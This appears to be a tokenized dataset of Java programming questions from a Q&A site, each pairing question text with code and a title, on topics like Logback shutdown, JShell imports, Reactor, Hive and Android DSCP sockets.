Eclipse , I give it a second or two after running and then kill it if it has n't happened . From the command line the same - run it , if it does n't happen CTRL+C to quit and try again . It appears that if it 's going to happen , it happens pretty quickly.I 've come across issues like this in the past , but they were all threading issues . I ca n't figure out what 's going on here - I 've even looked at bytecode ( which was identical between 1.7_51 and 1.8_45 , by the way ) .Any ideas on what is happening here ?","claims array [ 0 ] ! = 1.0 ... .array [ 0 ] = 1.0claims array [ 0 ] now == 1.0 ... array [ 0 ] = 1.0 ` import java.util.Random ; public class Test { Test ( ) { double array [ ] = new double [ 1 ] ; Random r = new Random ( ) ; while ( true ) { double someArray [ ] = new double [ 1 ] ; double someArray2 [ ] = new double [ 2 ] ; for ( int i = 0 ; i < someArray2.length ; i++ ) { someArray2 [ i ] = r.nextDouble ( ) ; } // for whatever reason , using r.nextDouble ( ) here does n't seem // to show the problem , but the # you use does n't seem to matter either ... someArray [ 0 ] = .45 ; array [ 0 ] = 1.0 ; // commented out lines also demonstrate problem new Double ( r.nextDouble ( ) ) ; // new Float ( r.nextDouble ( ) ; // double d = new Double ( .1 ) * new Double ( .3 ) ; // double d = new Double ( .1 ) / new Double ( .3 ) ; // double d = new Double ( .1 ) + new Double ( .3 ) ; // double d = new Double ( .1 ) - new Double ( .3 ) ; if ( array [ 0 ] ! = 1.0 ) { System.err.println ( `` claims array [ 0 ] ! = 1.0 ... .array [ 0 ] = `` + array [ 0 ] ) ; if ( array [ 0 ] ! = 1.0 ) { System.err.println ( `` claims array [ 0 ] still ! = 1.0 ... array [ 0 ] = `` + array [ 0 ] ) ; } else { System.err.println ( `` claims array [ 0 ] now == 1.0 ... array [ 0 ] = `` + array [ 0 ] ) ; } System.exit ( 0 ) ; } else if ( r.nextBoolean ( ) ) { array = new double [ 1 ] ; } } } public static void main ( String [ ] args ) { new Test ( ) ; } }",Java 8 odd timing/memory issue +Java,"Using Java 7I am trying to build a watcher that watches a data store ( some collection type ) and then will return certain items from it at certain points . In this case they are time stamps , when a timestamp passes the current time I want it to be returned to the starting thread . Please see code below . I have read about future and callables , but they seem to stop the thread on a return . I do not particularly want to return a value and stop the thread then start another task if using callable , unless it is the best way . What are the best techniques to look for this ? There seem to be such a wide range of doing it . Thanks",@ Overridepublic void run ( ) { while ( ! data.isEmpty ( ) ) { for ( LocalTime dataTime : data ) { if ( new LocalTime ( ) .isAfter ( dataTime ) ) { // return a result but continue running } } } },Java : How to return intermediate results from a Thread +Java,"In my project , I am using Logback as logging facility . I have the following classNow , I undeploy the servlet . When an exception occurs , Logback is not printing the message and stack trace . This is because Logback is cleaning up before the destroy ( ) is called by Spring . When undeploying the servlet , this is the first ( and last ) log line : I verified that Logback stops first by adding a System.out.println ( `` ... '' ) ; in the destroy ( ) .Is there any way to fix this ? My dependencies : Please note that spring-jcl is used to route commons-logging to slf4j ( which will route to logback ) . I am not using jcl-over-slf4j .","@ Componentclass Test { @ PreDestroy public void destroy ( ) { try { ... } catch ( Exception e ) { LoggerFactory.getLogger ( getClass ( ) ) .error ( e.getLocalizedMessage ( ) , e ) ; } } } 15:46:19,084 |-INFO in ch.qos.logback.classic.servlet.LogbackServletContextListener @ 7957fe56 - About to stop ch.qos.logback.classic.LoggerContext [ default ] < dependencyManagement > < dependencies > < dependency > < groupId > org.springframework < /groupId > < artifactId > spring-framework-bom < /artifactId > < version > 5.0.1.RELEASE < /version > < type > pom < /type > < scope > import < /scope > < /dependency > < dependency > < groupId > commons-logging < /groupId > < artifactId > commons-logging < /artifactId > < version > 99-empty < /version > < /dependency > < /dependencies > < /dependencyManagement > < dependencies > < dependency > < groupId > commons-logging < /groupId > < artifactId > commons-logging < /artifactId > < /dependency > < dependency > < groupId > org.slf4j < /groupId > < artifactId > slf4j-api < /artifactId > < version > 1.7.25 < /version > < /dependency > < dependency > < groupId > ch.qos.logback < /groupId > < artifactId > logback-core < /artifactId > < version > 1.2.3 < /version > < /dependency > < dependency > < groupId > ch.qos.logback < /groupId > < artifactId > logback-classic < /artifactId > < version > 1.2.3 < /version > < /dependency > < dependency > < groupId > ch.qos.logback < /groupId > < artifactId > logback-access < /artifactId > < version > 1.2.3 < /version > < /dependency > < dependency > < groupId > org.springframework < /groupId > < artifactId > spring-core < /artifactId > < /dependency > < dependency > < groupId > org.springframework < /groupId > < artifactId > spring-jcl < /artifactId > < /dependency > < /dependencies >",Spring @ PreDestroy : No logging because Logback stops too soon +Java,"While investigating some issue in my application , I just found out some weird thing.Basically this SSCCE should demonstrate the problem : Somehow , on my 1280x1024 resolution monitor , this results in : java.awt.Dimension [ width=1296 , height=1010 ] Anyone knows how this is happening ? Especially the fact that the width is higher than as what should happen.Regards .",public class MainFrame extends JFrame { public MainFrame ( ) { setDefaultCloseOperation ( javax.swing.WindowConstants.EXIT_ON_CLOSE ) ; setExtendedState ( JFrame.MAXIMIZED_BOTH ) ; pack ( ) ; } } public class Main { public static void main ( String [ ] args ) { MainFrame mf = new MainFrame ( ) ; mf.setVisible ( true ) ; System.out.println ( mf.getSize ( ) ) ; } },java swing jframe size returns dimension bigger as screen +Java,"I am using JUnit 4.12 . The assert methods are not generic in nature . For instance , assertEquals method looks like : Why is it not like ? I felt need for generic method declaration for better compile time checking and IDE auto completion .","static public void assertEquals ( Object expected , Object actual ) { .. } static public < T > void assertEquals ( T expected , T actual ) { .. }",Why are JUnit assert methods not generic in Java ? +Java,"As you , specialists , know in Java 8 , interfaces can have static methods which have implementations inside themselves.As I have read in a related tutorial , the classes which implement such interface can use its static methods . But , I have a problem which , here , I show it in a simpler example than what I havewhen I implement such interfaceI encounter compile error.What 's the problem ?",public interface Interface1 { public static void printName ( ) { System.out.println ( `` Interface1 '' ) ; } } public class Class1 implements Interface1 { public void doSomeThing ( ) { printName ( ) ; } } The method printName ( ) is undefined for the type Class1,Why ca n't I use from the static method of the implemented interface ? +Java,Exception : The hive query I am sending is : Is this number too big to be converted to int ? I even tried sending 17664956244983174066 without quotes but i get the same exception.t_id is defined as BIGINT in hive table and N or Number in dynamobdEDIT : I tried by defining t_id as string == > Schema mismatch as dynamodb stores this as intt_id as double == > > precision lost . no match.What can be the solution here ?,"2017-06-21 22:47:49,993 FATAL ExecMapper ( main ) : org.apache.hadoop.hive.ql.metadata.HiveException : Hive Runtime Error while processing writable org.apache.hadoop.dynamodb.DynamoDBItemWritable @ 2e17578f at org.apache.hadoop.hive.ql.exec.MapOperator.process ( MapOperator.java:643 ) at org.apache.hadoop.hive.ql.exec.ExecMapper.map ( ExecMapper.java:149 ) at org.apache.hadoop.mapred.MapRunner.run ( MapRunner.java:50 ) at org.apache.hadoop.mapred.MapTask.runOldMapper ( MapTask.java:441 ) at org.apache.hadoop.mapred.MapTask.run ( MapTask.java:377 ) at org.apache.hadoop.mapred.Child $ 4.run ( Child.java:255 ) at java.security.AccessController.doPrivileged ( Native Method ) at javax.security.auth.Subject.doAs ( Subject.java:415 ) at org.apache.hadoop.security.UserGroupInformation.doAs ( UserGroupInformation.java:1132 ) at org.apache.hadoop.mapred.Child.main ( Child.java:249 ) Caused by : java.lang.RuntimeException : Exception while processing record : org.apache.hadoop.dynamodb.DynamoDBItemWritable @ 2e17578f at org.apache.hadoop.hive.dynamodb.DynamoDBObjectInspector.getColumnData ( DynamoDBObjectInspector.java:136 ) at org.apache.hadoop.hive.dynamodb.DynamoDBObjectInspector.getStructFieldData ( DynamoDBObjectInspector.java:97 ) at org.apache.hadoop.hive.serde2.objectinspector.ObjectInspectorConverters $ StructConverter.convert ( ObjectInspectorConverters.java:328 ) at org.apache.hadoop.hive.ql.exec.MapOperator.process ( MapOperator.java:626 ) ... 9 moreCaused by : java.lang.NumberFormatException : For input string : `` 17664956244983174066 '' at java.lang.NumberFormatException.forInputString ( NumberFormatException.java:65 ) at java.lang.Long.parseLong ( Long.java:444 ) at java.lang.Long.parseLong ( Long.java:483 ) at org.apache.hadoop.hive.dynamodb.DynamoDBDataParser.getNumberObject ( DynamoDBDataParser.java:179 ) at org.apache.hadoop.hive.dynamodb.type.HiveDynamoDBNumberType.getHiveData ( HiveDynamoDBNumberType.java:28 ) at org.apache.hadoop.hive.dynamodb.DynamoDBObjectInspector.getColumnData ( DynamoDBObjectInspector.java:128 ) ... 12 more INSERT OVERWRITE TABLE temp_1 SELECT * FROM temp_2 WHERE t_id= '' 17664956244983174066 '' and t_ts= '' 636214684577250000000 '' ;",Error in hadoop jobs due to hive query error +Java,"In my Spring application , I have components that use Spring 's caching mechanism . Each @ Cacheable annotation specifies the cache that is to be used . I 'd like to autodiscover all the caches that are needed at startup so that they can be automatically configured.The simplest approach seemed to create a marker interface ( ex : CacheUser ) to be used by each caching component : I would then have Spring autodiscover all the implementations of this interface and autowire them to a configuration list that can be used when configuring the cache manager ( s ) . This works.My plan was to take each discovered class and find all methods annotated with @ Cacheable . From there I would access the annotation 's properties and obtain the cache name . I 'm using AnnotationUtils.findAnnotation ( ) to get the annotation declaration.That 's where the plan falls apart . Spring actually wires proxies instead of the raw component , and the annotations are n't copied over to the proxies ' methods . The only workaround I 've found exploits the fact that the proxy implements Advised which provides access to the proxied class : From there I can get the original annotations , but this approach is clearly brittle.So two questions , really : Is there a better way to get to the annotations defined by the proxied class ? Can you suggest any other way to discover all uses of @ Cacheable in my project ? I 'd love to do without a marker interface.Thanks !",@ Componentpublic class ComponentA implements CacheUser { @ Cacheable ( `` dictionaryCache '' ) public String getDefinition ( String word ) { ... } } @ Autowiredprivate Optional < List < CacheUser > > cacheUsers ; ( ( Advised ) proxy ) .getTargetSource ( ) .getTargetClass ( ) .getMethods ( ),Discovering annotated methods +Java,My question is if A.HOST would be correctly initialised before B use it ? Is this behaviour is defined in spec ?,public class A { public static String HOST ; static { HOST = ... ; } } public class B { public static String URL ; static { URL = A.HOST + ... ; } },Java static block refer to static variable in another class +Java,"To find the nearest common superclass , given two non-interface classes a and b , I do the following : pathFromObject ( ) returns a List < Class < ? > > representing inheritance chain , starting from Object.class : My question is : does some out-of-the-box JDK solution exist for this ? Maybe using classloader or some specific functionality . Or a better algorithm that does n't require two iterations .","static Class < ? > findClosestCommonSuper ( final Class < ? > a , final Class < ? > b ) { Iterator < Class < ? > > pathA = pathFromObject ( a ) .iterator ( ) ; Iterator < Class < ? > > pathB = pathFromObject ( b ) .iterator ( ) ; Class < ? > res = Object.class ; Class < ? > c ; while ( pathA.hasNext ( ) & & pathB.hasNext ( ) ) { if ( ( c = pathA.next ( ) ) == pathB.next ( ) ) res = c ; } return res ; } static List < Class < ? > > pathFromObject ( Class < ? > cl ) { List < Class < ? > > res = new ArrayList < > ( ) ; while ( cl ! = null ) { res.add ( cl ) ; cl = cl.getSuperclass ( ) ; } Collections.reverse ( res ) ; return res ; }",How do I find the nearest common superclass of two non-interface classes +Java,"Before asking my question I want to make some things clear . First , I am new to Java and programming in general . Second , This is my second post so please go easy on me if I did something wrong . Finally , I would like an explanation as to why what I did was wrong instead of just a pasted solution in any responses to this post . To better understand the issue I will write the assignment information , then the Driver class that is given , then my class code that is accessed by the Driver class . My question : How can I get the bottom left of my 'building ' to be [ 0 ] [ 0 ] on my 2D array ? Here 's an example of a for loop that works in changing the bottom left of a 2D array to [ 0 ] [ 0 ] , but I tried implementing this into my searchRoom method ( where the player character is set to myHidingPlaces index ) and I ca n't get myHidingPlaces [ 0 ] [ 0 ] to be the bottom left of my 2D Array . I believe that i need to edit the toString method somehow with for loops , but I ca n't figure out how I should do it.The following is the assignment : You are to design a class “ LostPuppy.java ” which represents a puppy lost in a multi-floor building thatcontains the same number of rooms on each floor . During instantiation ( or creation ) of an object of this class , each room on each floor will be initialized as empty ( you will actually use the space ‘ ‘ character for thispurpose ) and a random room will be chosen where the puppy is lost . For this purpose , the character “ P ” willbe placed in this random location . Further details on the constructor is listed below.An object of this class is used as a game for two players to take turns searching for the puppy , one room at atime until the unfortunate little canine is found . The instantiation of this object and the search will be performedby a “ driver ” program which has been provided to you allowing you to only have to concentrate on developingthe class ( the driver program is in the file “ PuppyPlay.java ” ) Fields ( of course , all fields are private ) : A character ( char ) array named myHidingPlaces . This represents the building where the rows are floorsand the columns are rooms on each floor ( this building has an unusual numbering system ; the floors androoms both start at zero ) .Two integers that will hold the floor and room where the puppy is lost , named myFloorLocation andmyRoomLocation.A char named myWinner which will be assigned the player ’ s character when a player finds the puppy ( the driver program uses digits ‘ 1 ’ and ‘ 2 ’ to more clearly distinguish the players from the puppy ) .A boolean named myFound which is set to true when the puppy is found.Constructor : Receives two integer parameters as the user ’ s input for the number of floors and rooms of the buildingin which the puppy is lost.The constructor instantiates the 2D array “ myHidingPlaces ” as a character array with the first parameterfor the rows ( theFloors ) and the second parameter as the columns ( theRooms ) .Initialize myHidingPlaces ’ cells , each to contain a space ‘ ‘ ( done with single quotes ) Set myFloorLocation ( floor puppy is on ) randomly based using the first parameterSet myRoomLocation ( room puppy is in ) randomly based using the second parameterSet myHidingPlaces [ myFloorLocation ] [ myRoomLocation ] to the char ‘ P ’ Set myWinner to a single spaceSet myFound to falseMethods : roomSearchedAlready receives the floor and room to be searched and returns true if the room hasalready been searched , false otherwise.puppyLocation receives the floor and room to be searched and returns true if the floor and room arewhere the puppy is lost , false otherwise . This method should NOT change any of the fields.indicesOK receives the floor and room to be searched and returns true if the floor and room values arewithin the array indices range , false otherwise ( used to check that these indices will not cause an errorwhen applied to the array ) .numberOfFloors returns how many floors are in the building ( the first floor starts at zero ) .numberOfRooms returns how many rooms are on each floor of the building ( the first room starts atzero and all floors have the same number of rooms ) .searchRoom receives the floor and room to be searched and also the current player ( as a char type ) and returns true if the puppy is found , false otherwise . If the puppy is NOT found searchRoom alsosets the myHidingPlaces array at the received floor and room location to the received player value ( a ‘ 1 ’ or a ‘ 2 ’ ) OR , when found , sets the myWinner field to the current player AND sets myFound to true.toString displays the current hidingPlaces array and it ’ s contents EXCEPT the location of the puppywhich remains hidden until he/she is found at which point toString will be called ( by the driver ) and boththe player who found the puppy and a ‘ P ’ will be displayed in the same cell….NOW , and perhaps the awkward portion of the toString output . Normally , when displaying a 2D array , the [ 0 ] [ 0 ] cell is displayed in the upper left corner as with matrices . However , because the puppydecided to get lost in a building and not a matrix , it would make more visual sense to have the first floor ( row 0 ) displayed on the bottom , second floor above it… and finally the top floor , well… on top ! Tosave words , look closely at the sample run provided on the next page . Your output should look thesame as what is seen on the next page in the sample run.Here is the Driver program : Finally , here is my test code :","import java.util.Random ; import java.util.Scanner ; /** * This program is used as a driver program to play the game from the * class LostPuppy . Not to be used for grading ! * * A puppy is lost in a multi-floor building represented in the class * LostPuppy.class . Two players will take turns searching the building * by selecting a floor and a room where the puppy might be . * * @ author David Schuessler * @ version Spring 2015 */public class PuppyPlay { /** * Driver program to play LostPuppy . * * @ param theArgs may contain file names in an array of type String */ public static void main ( String [ ] theArgs ) { Scanner s = new Scanner ( System.in ) ; LostPuppy game ; int totalFloors ; int totalRooms ; int floor ; int room ; char [ ] players = { ' 1 ' , ' 2 ' } ; int playerIndex ; boolean found = false ; Random rand = new Random ( ) ; do { System.out.print ( `` To find the puppy , we need to know : \n '' + `` \tHow many floors are in the building\n '' + `` \tHow many rooms are on the floors\n\n '' + `` Please enter the number of floors : `` ) ; totalFloors = s.nextInt ( ) ; System.out.print ( `` Please enter the number of rooms on the floors : `` ) ; totalRooms = s.nextInt ( ) ; s.nextLine ( ) ; // Consume previous newline character // Start the game : Create a LostPuppy object : game = new LostPuppy ( totalFloors , totalRooms ) ; // Pick starting player playerIndex = rand.nextInt ( 2 ) ; System.out.println ( `` \nFloor and room numbers start at zero ' 0 ' '' ) ; do { do { System.out.println ( `` \nPlayer `` + players [ playerIndex ] + `` , enter floor and room to search separated by a space : `` ) ; floor = s.nextInt ( ) ; room = s.nextInt ( ) ; //for testing , use random generation of floor and room //floor = rand.nextInt ( totalFloors ) ; //room = rand.nextInt ( totalRooms ) ; } while ( ! game.indicesOK ( floor , room ) || game.roomSearchedAlready ( floor , room ) ) ; found = game.searchRoom ( floor , room , players [ playerIndex ] ) ; playerIndex = ( playerIndex + 1 ) % 2 ; System.out.println ( `` \n [ `` + floor + `` ] , [ `` + room + `` ] '' ) ; System.out.println ( game.toString ( ) ) ; s.nextLine ( ) ; } while ( ! found ) ; playerIndex = ( playerIndex + 1 ) % 2 ; System.out.println ( `` Great job player `` + players [ playerIndex ] + '' ! `` ) ; System.out.println ( `` Would you like to find another puppy [ Y/N ] ? `` ) ; } while ( s.nextLine ( ) .equalsIgnoreCase ( `` Y '' ) ) ; } } import java.util.Random ; import java.util.Scanner ; public class LostPuppy { int value ; char [ ] [ ] myHidingPlaces ; int myFloorLocation ; int myRoomLocation ; char myWinner ; boolean myFound ; Random random = new Random ( ) ; public LostPuppy ( int theFloors , int theRooms ) { myHidingPlaces = new char [ theFloors ] [ theRooms ] ; for ( int i = theFloors - 1 ; i > = 0 ; i -- ) { for ( int j = 0 ; j < = theRooms - 1 ; j++ ) { myHidingPlaces [ i ] [ j ] = ' ' ; } } myFloorLocation = random.nextInt ( theFloors ) ; myRoomLocation = random.nextInt ( theRooms ) ; myHidingPlaces [ myFloorLocation ] [ myRoomLocation ] = ' P ' ; myWinner = ' ' ; myFound = false ; } public boolean roomSearchedAlready ( int floor , int room ) { return ( myHidingPlaces [ floor ] [ room ] == ' 1 ' || myHidingPlaces [ floor ] [ room ] == ' 2 ' ) ; } public boolean puppyLocation ( int floor , int room ) { return ( myHidingPlaces [ floor ] [ room ] == ' P ' ) ; } public boolean indicesOK ( int floor , int room ) { return ( floor < = myHidingPlaces.length & & room < = myHidingPlaces [ 0 ] .length ) ; } public int numberOfFloors ( ) { return myHidingPlaces.length - 1 ; } public int numberOfRooms ( ) { return myHidingPlaces [ 0 ] .length - 1 ; } public boolean searchRoom ( int floor , int room , char player ) { if ( puppyLocation ( floor , room ) ) { myFound = true ; myWinner = player ; return true ; } else { myHidingPlaces [ floor ] [ room ] = player ; return false ; } } public String toString ( ) { int rooms = myHidingPlaces [ 0 ] .length ; int floors = myHidingPlaces.length ; System.out.print ( `` `` ) ; for ( int x = 0 ; x < rooms ; x++ ) { System.out.print ( `` ___ '' ) ; } for ( int y = 0 ; y < rooms - 1 ; y++ ) { System.out.print ( `` _ '' ) ; } System.out.print ( `` \n '' ) ; for ( int r = 0 ; r < floors ; r++ ) { System.out.print ( `` | `` ) ; for ( int c = 0 ; c < rooms ; c++ ) { if ( myHidingPlaces [ r ] [ c ] == ' P ' & & myFound ) { System.out.print ( `` '' + myWinner + `` '' + myHidingPlaces [ r ] [ c ] + `` | `` ) ; } else if ( myHidingPlaces [ r ] [ c ] == ' P ' & & ! myFound ) { System.out.print ( `` | `` ) ; } else { System.out.print ( myHidingPlaces [ r ] [ c ] + `` | `` ) ; } //System.out.print ( myHidingPlaces [ r ] [ c ] + `` | `` ) ; } System.out.print ( `` \n '' ) ; for ( int i = 0 ; i < rooms ; i++ ) { System.out.print ( `` |___ '' ) ; } System.out.print ( `` |\n '' ) ; } return `` '' ; } }",Java - 2D Array Index Manipulation in a Complex Program +Java,"I need to duplicate items in a List . So , if the list is : I want to return a list that is : I 'm trying to do this through the flatMap function but I 'm not sure how to go about doing it .","[ `` firstItem '' , `` secondItem '' ] [ `` firstItem '' , '' firstItem '' , '' secondItem '' , '' secondItem '' ] List < T > duplicatedList = originalList.stream ( ) .flatMap ( u - > Stream.of ( ) ) // how to duplicate items ? ? .collect ( Collectors.toList ( ) ) ;",Duplicate items in a stream in java +Java,"Title pretty much says it all ... I am trying to enforce the maximum length of text input on a form . One of the fields can be any valid floating-point number . What would its maximum length be ? For example , for an integerUPDATEI have tested the following : Which gives me the following output : I 'm not convinced that 13 is the maximum length",// negative sign makes MIN_VALUE larger than MAX_VALUEString.valueOf ( Integer.MIN_VALUE ) .length ( ) ; String.valueOf ( -Float.MIN_VALUE ) .length ( ) ; String.valueOf ( -Float.MAX_VALUE ) .length ( ) ; String.valueOf ( Float.MIN_VALUE ) .length ( ) ; String.valueOf ( Float.MAX_VALUE ) .length ( ) ; 813712,What is the largest possible length of a string-representation of a float ? +Java,I am new to TorqueBox . I have created one RESTEasy app which is currently running on tomcat . Now I want to deploy it in TorqueBox.For that I have created on yml file in apps folder of torquebox . The content of file isMy problem is when i start server it does n't deploy my app . What should i do ?,-- -application : root : C : /torqueApp/java/RESTEasyTorque env : development web : context : /hellojava,Java Deployment in TorqueBox +Java,"I have a sort of util method to transform a varargs of a type into an array of that type - it looks like this : The use case is so that instead of defining an array when calling a method which requires an array , you can simply do array ( val1 , val2 , val3 ) .However , IntelliJ gives me heap pollution warnings . I understand what this means to an extent , but I do n't have much experience with the specifics - so , I would like to know whether I can add @ SafeVarargs and whether this method is actually safe.IntelliJ says : Problem synopsis Possible heap pollution from parameterized vararg type at line 249 Problem resolution Make final and annotate as @ SafeVarargsK is declared as the type parameter of a class , along with V .",public K [ ] array ( K ... ks ) { return ks ; },Is this use of varargs safe ? +Java,"This is a hypothetical question.The situation is the following : I am calling a setter of a Java class from a Kotlin file to change the value of the private field xThe IDE suggests to change it to It works normally . Now suppose the setter has some complicated functionality inside of it and later on the x field in the Java class is changed to public instead of private . There will be no compile error but the Kotlin call will change the value of x skipping the other stuff that happens in the setter , and it can go unnoticed causing logical errors . Therefore I am wondering : Is it safe to use Kotlin property access syntax to set a java field ?",javaFoo.setX ( 420 ) javaFoo.x = 420,Is it safe to use Kotlin property access syntax to set a Java field +Java,"I have the below code and I would expect it to throw a ConcurrentModificationException , but it runs successfully . Why does this happen ?",public void fun ( ) { List < Integer > lis = new ArrayList < Integer > ( ) ; lis.add ( 1 ) ; lis.add ( 2 ) ; for ( Integer st : lis ) { lis.remove ( 1 ) ; System.out.println ( lis.size ( ) ) ; } } public static void main ( String [ ] args ) { test t = new test ( ) ; t.fun ( ) ; },It does not throw exception ConcurrentModificationException +Java,"I am getting the following output when serializing an object to yml via Jackson : However , what I want is : I am able to deserialize that fine . That is to say , the deserialization part works as intended . I have put the following annotation everywhere I can think of : Including on the DevCommand interface , on DevCommand the concrete class , on the type which has the commands map ( both the field and the getters/setters ) .What do I need to do to force Jackson to use the type format I want ?","-- -commands : dev : ! < foo.bar.baz.DevCommand > -- -commands : dev : type : foo.bar.baz.DevCommand @ JsonTypeInfo ( use=JsonTypeInfo.Id.CLASS , include=JsonTypeInfo.As.PROPERTY , property= '' type '' )",Jackson Yaml Type Info is wrong on serialization +Java,Is it possible to have an enum change its value ( from inside itself ) ? Maybe it 's easier to understand what I mean with code : This is want I wan na achieve : Thanks,"enum Rate { VeryBad ( 1 ) , Bad ( 2 ) , Average ( 3 ) , Good ( 4 ) , Excellent ( 5 ) ; private int rate ; private Rate ( int rate ) { this.rate = rate ; } public void increateRating ( ) { //is it possible to make the enum variable increase ? //this is , if right now this enum has as value Average , after calling this //method to have it change to Good ? } } Rate rate = Rate.Average ; System.out.println ( rate ) ; //prints Average ; rate.increaseRating ( ) ; System.out.println ( rate ) ; //prints Good",Help with enums in Java +Java,"I am using android Studio for the app development and i want to set the DSCP value in the ip header using UDP sockets . I am following this example.I have searched on this forum and i came to know that using System.setProperty ( `` java.net.preferIPv4Stack '' , `` true '' ) we can manipulate the DSCP values . But this seems not be working on the android app . How can i achieve the desired behavior ? Am i missing something over here ? The code works without any errors but when i check in the wireshark ( capturing 'any ' interface and then applying the filter for udp ) the value of DSCP of the packet , it is unchanged . I am using Emulator on ubuntu 16 to to test the scenario . Any help is appreciated .","import android.os.Message ; import java.io.IOException ; import java.net.DatagramPacket ; import java.net.DatagramSocket ; import java.net.InetAddress ; import java.net.SocketException ; import java.net.UnknownHostException ; public class UdpClientThread extends Thread { String dstAddress ; int dstPort ; private boolean running ; MainActivity.UdpClientHandler handler ; DatagramSocket socket ; InetAddress address ; public UdpClientThread ( String addr , int port , MainActivity.UdpClientHandler handler ) { super ( ) ; dstAddress = addr ; dstPort = port ; this.handler = handler ; } public void setRunning ( boolean running ) { this.running = running ; } private void sendState ( String state ) { handler.sendMessage ( Message.obtain ( handler , MainActivity.UdpClientHandler.UPDATE_STATE , state ) ) ; } @ Override public void run ( ) { sendState ( `` connecting ... '' ) ; running = true ; System.setProperty ( `` java.net.preferIPv4Stack '' , `` true '' ) ; try { socket = new DatagramSocket ( ) ; socket.setTrafficClass ( 128 ) ; //Setting the DSCP value address = InetAddress.getByName ( dstAddress ) ; // send request byte [ ] buf = new byte [ 256 ] ; DatagramPacket packet = new DatagramPacket ( buf , buf.length , address , dstPort ) ; socket.send ( packet ) ; sendState ( `` connected '' ) ; // get response packet = new DatagramPacket ( buf , buf.length ) ; socket.receive ( packet ) ; String line = new String ( packet.getData ( ) , 0 , packet.getLength ( ) ) ; handler.sendMessage ( Message.obtain ( handler , MainActivity.UdpClientHandler.UPDATE_MSG , line ) ) ; } catch ( SocketException e ) { e.printStackTrace ( ) ; } catch ( UnknownHostException e ) { e.printStackTrace ( ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } finally { if ( socket ! = null ) { socket.close ( ) ; handler.sendEmptyMessage ( MainActivity.UdpClientHandler.UPDATE_END ) ; } } } }",Unable to set DSCP value in android app +Java,"I was playing around with JShell after the Java 9 release , and I tried importing a package I made . As the entire application I 'm coding it for will be contained in that package , every class but one ( which I have n't coded yet ) is package-private . My classpath is correct , but I still ca n't use any of the types declared in the package in JShell ( it throws a `` can not find symbol '' error ) . Do I need to make them public for them to be accessible , or is there some way I can test package-private classes ? Here 's the exact code I tried . My current directory is My class path is and the package directory ( for the bytecode ) is CollatzSequence is a package-private class contained in collatz .",C : \Users\Sylvaenn\OneDrive\Documents\Programs\Java\src C : \Users\Sylvaenn\OneDrive\Documents\Programs\Java\cls C : \Users\Sylvaenn\OneDrive\Documents\Programs\Java\cls\collatz PS C : \Users\Sylvaenn > cd OneDrive\Documents\Programs\Java\srcPS C : \Users\Sylvaenn\OneDrive\Documents\Programs\Java\src > jshell| Welcome to JShell -- Version 9| For an introduction type : /help introjshell > import collatz . * ; jshell > CollatzSequence seq = new CollatzSequence ( BigInteger.ONE ) ; | Error : | can not find symbol| symbol : class CollatzSequence| CollatzSequence seq = new CollatzSequence ( BigInteger.ONE ) ; | ^ -- -- -- -- -- -- -^| Error : | can not find symbol| symbol : class CollatzSequence| CollatzSequence seq = new CollatzSequence ( BigInteger.ONE ) ; | ^ -- -- -- -- -- -- -^jshell > /imports| import java.io . *| import java.math . *| import java.net . *| import java.nio.file . *| import java.util . *| import java.util.concurrent . *| import java.util.function . *| import java.util.prefs . *| import java.util.regex . *| import java.util.stream . *| import collatz . *jshell >,Importing Package-Private Classes to JShell +Java,"Consider this code : Obviously it 's forbidden to use Mono # map with a void param , I get error : method map in class Mono < T > can not be applied to given types ; ( ... ) Now how can I call this method return_void ( ) in a chain ? Should I use another operator than # map ? Or is there no other choice than wrapping return_void ( ) into a method that returns Mono < Void > ?",import reactor.core.publisher.Mono ; public class Main { public static void main ( String [ ] args ) { Mono.just ( 1 ) .map ( Main : :return_int ) // is ok// .map ( Main : :return_void ) // is not ok .subscribe ( ) ; } private static void return_void ( int input ) { // do stuff with input } private static int return_int ( int input ) { return input ; } },How to use a void method in a Java Reactor chain ? +Java,"I appear to have hit a wall in my most recent project involving wave/ripple generation over an image . I made one that works with basic colors on a grid that works perfectly ; heck , I even added shades to the colors depending on the height of the wave.However , my overall goal was to make this effect work over an image like you would see here . I was following an algorithm that people are calling the Hugo Elias method ( though idk if he truly came up with the design ) . His tutorial can be found here ! When following that tutorial I found his pseudo code challenging to follow . I mean the concept for the most part makes sense until I hit the height map portion over an image . The problem being the x and y offsets throw an ArrayIndexOutOfBoundsException due to him adding the offset to the corresponding x or y . If the wave is too big ( i.e . in my case 512 ) it throws an error ; yet , if it is too small you ca n't see it.Any ideas or fixes to my attempted implementation of his algorithm ? So I ca n't really make a compile-able version that is small and shows the issue , but I will give the three methods I 'm using in the algorithm . Also keep in mind that the buffer1 and buffer2 are the height maps for the wave ( current and previous ) and imgArray is a bufferedImage represented by a int [ img.getWidth ( ) * img.getHeight ( ) ] full of ARGB values.Anyways here you go : P.S . Here are two images of the old code working .","public class WaveRippleAlgorithmOnImage extends JPanel implements Runnable , MouseListener , MouseMotionListener { private int [ ] buffer1 ; private int [ ] buffer2 ; private int [ ] imgArray ; private int [ ] movedImgArray ; private static double dampening = 0.96 ; private BufferedImage img ; public WaveRippleAlgorithmOnImage ( BufferedImage img ) { this.img = img ; imgArray = new int [ img.getHeight ( ) *img.getWidth ( ) ] ; movedImgArray = new int [ img.getHeight ( ) *img.getWidth ( ) ] ; imgArray = img.getRGB ( 0 , 0 , img.getWidth ( ) , img.getHeight ( ) , null , 0 , img.getWidth ( ) ) ; //OLD CODE /*for ( int y = 0 ; y < img.getHeight ( ) ; y++ ) { for ( int x = 0 ; x < img.getWidth ( ) ; x++ ) { imgArray [ y ] [ x ] = temp [ 0 + ( y-0 ) *img.getWidth ( ) + ( x-0 ) ] ; } } */ buffer1 = new int [ img.getHeight ( ) *img.getWidth ( ) ] ; buffer2 = new int [ img.getHeight ( ) *img.getWidth ( ) ] ; buffer1 [ buffer1.length/2 ] = ( img.getWidth ( ) < = img.getHeight ( ) ? img.getWidth ( ) / 3 : img.getHeight ( ) / 3 ) ; //buffer1 [ 25 ] [ 25 ] = 10 ; back = new BufferedImage ( img.getWidth ( ) , img.getHeight ( ) , BufferedImage.TYPE_INT_ARGB ) ; this.addMouseListener ( this ) ; this.addMouseMotionListener ( this ) ; } // < editor-fold defaultstate= '' collapsed '' desc= '' Used Methods '' > @ Override public void run ( ) { while ( true ) { this.update ( ) ; this.repaint ( ) ; this.swap ( ) ; } } //Called from Thread to update movedImgArray prior to being drawn . private void update ( ) { //This is my attempt of trying to convert his code to java . for ( int i=img.getWidth ( ) ; i < imgArray.length - 1 ; i++ ) { if 